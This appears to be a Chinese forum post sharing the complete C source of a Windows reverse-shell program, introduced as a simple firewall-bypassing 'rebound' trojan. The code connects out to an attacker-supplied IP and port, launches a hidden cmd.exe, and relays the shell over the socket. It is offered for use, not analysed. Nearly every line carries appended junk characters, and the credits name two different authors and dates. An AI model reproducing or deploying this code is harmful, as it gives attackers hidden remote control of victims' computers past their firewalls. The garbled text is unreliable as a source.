这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 Jj>?GAir
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/* ============================== Ed0QQyC@9
Rebound port in Windows NT _(_a*ml
By wind,2006/7 j@W.&- _
===============================*/ '-r).Xk
#include 6LOnU~l,
#include &vo--V1|
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#pragma comment(lib,"wsock32.lib") Od)Uv1
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void OutputShell(); !^^?dRd*v
SOCKET sClient; ;;_,~pI?k
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; eV2W{vuI
#+:9T/*>0
void main(int argc,char **argv) %}SGl${-
{ W3]_m8,Z
WSADATA stWsaData; 8qk?E6
int nRet; .GsV>H
SOCKADDR_IN stSaiClient,stSaiServer; m;H.#^b*
c&r70L,
if(argc != 3) 8>trS=;n
{ (n*^4@"2
printf("Useage:\n\rRebound DestIP DestPort\n"); #^`4DhQ/
1
return; w,.+IV$Kk
} "W=AB&
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WSAStartup(MAKEWORD(2,2),&stWsaData); KK1gNC4R
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); ujDd1Bxf?
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stSaiClient.sin_family = AF_INET; _K`wG}YIE
stSaiClient.sin_port = htons(0); RTvqCp
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); HTVuStM8
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) D N'3QQn
{ gwOa$f%O
printf("Bind Socket Failed!\n"); E=jNi
return; 8qY79)vD4E
} %b%-Ogz;4
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stSaiServer.sin_family = AF_INET; Keuf9u
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); di?K"Z>
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); G^~k)6v=m
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) tR}MrM
{ C\3y {s
printf("Connect Error!"); ~8~aJ^[
return; c2h{6;bfY
} &qMPq->
OutputShell(); M2HomO/X)
} iWRH{mK
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;
void OutputShell() M=%l}FSTw(
{ t0/p]=+.p/
char szBuff[1024]; Te.Y#lCT$
SECURITY_ATTRIBUTES stSecurityAttributes;
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OSVERSIONINFO stOsversionInfo; VbJiZw(aR
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; ~o82uw?
STARTUPINFO stStartupInfo; ~c8?>oN(
char *szShell; @E^~$-J5j
PROCESS_INFORMATION stProcessInformation; ~;QvWS
unsigned long lBytesRead; z8jk[5z
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); SHvq.lYJ
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); VCu{&Sh*
stSecurityAttributes.lpSecurityDescriptor = 0; u6M.'
stSecurityAttributes.bInheritHandle = TRUE; g$7{-OpB
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); [OjF[1I)u
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); ?5U2D%t
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); -u&6X,Oq\u
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 9:fOYT$8
stStartupInfo.wShowWindow = SW_HIDE; B.wYHNNV
stStartupInfo.hStdInput = hReadPipe; *meZ8DV2DH
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; c;%_EN%
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GetVersionEx(&stOsversionInfo); S\''e`Eb"5
8MK>)P o)
switch(stOsversionInfo.dwPlatformId) l\BVS)
{ kQ4dwF~
case 1: +J_c'ChN
szShell = "command.com"; AK&S5F>D+B
break; &J55P]7w
default: R?v>Q` Qi
szShell = "cmd.exe"; Tu@8}C
break; ;lq;X{/
} ,/YF-L$(t
BS /G("oZ[
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); ^g*pGrl#
4oK?-|=?
send(sClient,szMsg,77,0); .clP#r{U
while(1) vh"R'o
{ *Nw&_<\9Q
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); /+8JCp
if(lBytesRead) $iI]MV%=
{ QBtnx[
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); 9)0D~oUi
send(sClient,szBuff,lBytesRead,0); ?;KKw*
} lwHzj&/ ~
else +)k b(
{ UUSq$~Ct
lBytesRead=recv(sClient,szBuff,1024,0);
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if(lBytesRead<=0) break; bnm
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WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); D Gr>
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} BsBK@+ZyI
} {xwm^p(f
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return; s<*XNNE7
}